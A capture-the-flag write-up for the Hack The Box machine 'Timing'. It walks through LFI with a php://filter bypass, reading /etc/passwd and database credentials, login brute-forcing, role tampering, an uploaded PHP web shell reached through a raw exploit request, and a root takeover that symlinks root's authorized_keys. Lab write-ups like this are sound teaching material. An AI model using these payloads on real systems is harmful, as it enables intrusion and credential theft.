Back to Home

Timing - HTB Writeup

| May 15, 2022 | 9 min to read
Hack The Box Machine: Timing -         
Status at 19-04-2022: Active    
Writeup Author: Mădălin Dogaru      

Brief Overview

The goal is to find vulnerabilities and if possible exploit them and get the user.txt and root.txt flags, stored on their respective Desktops


  • I know its written in .php, some .js and HTML/CSS based on the URL format and page source info
  • It requires authentication and probably authorization. I also make a note that it has a “reset password function”
2.Scan & Enumerate
  • First, I’m interested in what services are running and if they are accessible. nmap -sC -sV -oA nmap-scan alter-text

  • Next I want to see if there are any resources which are not listed by the website but are accessible.
    feroxbuster --url --wordlist ~/SynologyDrive/ -k -r -x php alter-text

  • Malforming the URL gives an unsanitized error, confirming the earlier nmap scan results: alter-text

  • I notice that some pages redirect me to login.php and others output unsanitized erros:

3.Analyze Results

What I know:

  • a SSH server is running on this device, I should keep this in mind for possible exploitation/persistence
  • apache 2.4.29 is pretty old and has a bunch of possible vulnerabilities
  • based on the paths ferox found earlier, the website might have an upload function ../images/uploads/..
  • based on the blank page I deduce that image.php receives some form of GET or POST and for that it must use some parameters
  • I know its a linux machine (ubuntu) based on the errors/nmap-scan (lets assume HTB didnt tell me its linux)


1.Gain Initial Access

PHP syntax is http://domain/index.php?some_parameter=some_value so I’m curious if I can find a parameter and then try to use it to get a bit more info about the web application.

My focus is to FUZZ image.php’s parameters as I know it receives some form of POST/GET.
wfuzz --hh 0 -w ~/SynologyDrive/ '' alter-text

The img fuzz payload was succesful, as its server char response is bigger than 0.

I add the newly found parameter (img) and give it my payload as a value:
curl '' alter-text alter-text

Now I want to see how I can output the data from my payloads as its filtered by some form of WAF. One way to output data is to route it through the php://filter function. Encode/Decode doesnt matter, both work, the goal is to redirect the output and bypass the WAF.
curl '' alter-text

And I have a winner, the output of the payload. This means I have RCE! I dump the /etc/passwd as well and identify a user, aaron and a MYSQL user. alter-text

Now that I have RCE via LFI, let me use it on login.php and see its source code:
curl '' | base64 -Dd | bat -l php alter-text

I notice a few includes, out of which “db_conn.php” looks the most interesting:
curl '' | base64 -Dd | bat -l php alter-text

I find a MYSQL user and password. I try without luck to login to the website using:

  • aaron : 4_V3Ry_l0000n9_p422w0rd
  • root : 4_V3Ry_l0000n9_p422w0rd

I also try to connect via SSH using both usernames and the discovered password, again no luck:

Lets use the LFI to investigate all files discovered during the ferox scan.
curl '' | base64 -Dd | bat -l php alter-text I find an include to admin_auth_check.php and details about where files are saved so I check this file next.

curl '' | base64 -Dd | bat -l php
Here, it is verifying if the ID of our role is different than 1 and if it is I will get redirected to index.php. At this stage I’m developing a hunch on abusing the ID, but I dont know where.

Next let me check auth_check.php which I saw it was included in admin_auth_check.php.
curl '' | base64 -Dd | bat -l php alter-text So sessions are valid for 1 hour and the redirect to login.php is done if session conditions are not met.

At this point, although I understood quite a bit about how the app worked I really didnt had a way in so I started bruteforcing the login to see if some mistakes were made. I found the user aaron earlier so let me use it together with some password recon results combined with some common passwords.

I start Burp, intercept the login request, send the request to Intruder and run Sniper: alter-text

The only server response different in size is aaron and after using it to login as aarron:aaron I’m logged in as user 2, which I’m assuming is also related to the user roles and their respective IDs. alter-text If I have user 2 then maybe user 3 or 1 exist as well? So let me see if I can exploit the profile update to possibly elevate my rights.

When going to the Edit profile menu, the URL changes to http://timing.htb/profile.php so let me use the LFI to get a closer look.
curl '' | base64 -Dd | bat -l php alter-text

I already know the first files included in the code but theres also a path to a new file js/profile.js, so I abuse the LFI once again.
curl '' | base64 -Dd | bat -l js alter-text

So the form data is sent through a POST to profile_update.php
curl '' | base64 -Dd | bat -l js alter-text

My previous hunch was correct, the role ID is checked during the session, so what if I intercept it with Burp, send it to Repeater and add role=1?: alter-text

The role seems to have been updated to 1, let me check the page with a refresh: alter-text

Yes! I now see a new Admin panel in my profile, this means I succesfully escalated privileges. When i click the Admin panel I’m presented with an upload feature. This confirms what I’ve found earlier with feroxbuster (..images/uploads/..). alter-text

Now I’m interested in what I can do with the upload feature and how it works so:
curl '' | base64 -Dd | bat -l php alter-text

What I can see:

  • it saves files to the images/uploads/ path
  • it creates a md5 hash of the file and $file_hash is treated as a simple string, meaning it’s a non expansive variable.
  • an extension check is made for the uploaded files and only .jpg are allowed
  • the time() function is dynamic

Note: variable expansion is the term used for the ability to access and manipulate values of variables and parameters.

My strategy after doing a bit of research was to see if I can replicate the php function that generates the hash, locally, and bruteforce the MD5 that will be generated by the server when I upload a file.

For this, I start a python script that generates 50 hashes over a period of 50 seconds. alter-text alter-text

Imediately after(the faster the better), I upload a .jpg file to the website, containing: <?php system($_GET[exploit]);?>

I let the to run its course and now its time to see if I timed the attack correctly using Burp Intruder. I’m going to test each hash that was generated by . Intruder will do the equivalent of:
curl 'http:/timing.htb/image.php?img=images/uploads/7690df95974d465a67661c5654853169_ploit.jpg&exploit=ls'

  • ploit.jpg is our file

  • exploit is our constant from the ploit.jpg

  • 7690df95974d465a67661c5654853169 is one of the hashes generated by

    Bellow I have the request that I need to send after replacing the PHPSESSID and the file’s hash.

GET /image.php?img=images/uploads/§b4a4cc1422fd48eb3ea2a4b14e9086e4§_ploit.jpg&exploit=ls HTTP/1.1
Host: timing.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=7lcpuec4t24ldp3sjlaca8iatc
Connection: close

And now the response which shows our RCE worked:

After a bit of enumerating the filesystem I discover in the /opt folder which I then move to /var/www/html so I can access it from the browser easier:
curl 'http:/timing.htb/image.php?img=images/uploads/c18c674b85f9556a7fe30e6eb7680416_ploit.jpg&exploit=cp+/opt/' alter-text


I unziped the archive and this is one of the moments I’ve lost quite a bit of time trying to figure out what to do next. Specifically because I was excited to see what was inside and I used Finder to explore the folder instead of using the terminal (lesson learned).

Anyway, once I did an ls -al, I noticed the .git directory. alter-text

Once I identified the .git directory, I used extractor from to dump all the commits. alter-text


And after enumerating the commits files I find 2 versions of db_conn.php one with the same password extracted earlier and one with a different password: alter-text

I eventually try root:S3cr3t_unGu3ss4bl3_p422w0Rd on the SSH server but it doesn’t work, I try 2 more variations of the password but still nothing. alter-text

I then try the same password with the aaron user and finally I have the user: alter-text

2. Privilege Escalation

Its a nix system and good tools for permissions’ weaknesses checks are:

But at the same time you should always try sudo -l before uploading lineapeas/linenum to the target host. In some cases you quickly find out the user can execute some commands as root. I gave it a try and I notice he can execute /usr/bin/netutils as root and without a password.

Furthermore netutils can run netutils.jar file. alter-text

Also doing a ls -la in various important folders (like user home folders) can reveal useful information without the use of tools. alter-text

There are 2 symlinks that clean all the information from .bash_history and .viminfo to /dev/null. This reminds me of an technique I used in the past and I give it a try:

  • I copy the content of my SSH public key to a new file(sshpubkey), locally and give it full permissions to make sure that when its copied on timing.htb, aaron has full permissions over it. chmod 777 sshpubkey
  • On timing.htb I create a symlink between sshpubkey and root’s authorized_keys
    ln -s /root/.ssh/authorized_keys sshpubkey alter-text

Now I’m going to start a python server which will serve the sshpubkey I’ve created earlier on the default http port 80. alter-text

Earlier I played with netutils and found out that it has and FTP and HTTP upload function. Now, from timing.htb while logged in as aaron, via ssh, start netutils with sudo: alter-text

Using netutils from timing.htb, I download from my python server the sshpubkey which as you can see, it is ovewritten and not created as a new file. Because of the symlink created earlier, it was also copied in authorized_keys which should result in me being able to login as root, without a password. alter-text I logout out of aaron and login as root succesfully.

“timing” is an interesting machine that requires a bit of custom work, some php knowledge and lots and lots of enumeration.

I’ve showed you my golden path in this article but I’ve spent hours enumerating the machine and researching php exploitation techniques before I found a way to exploit it.

Related Posts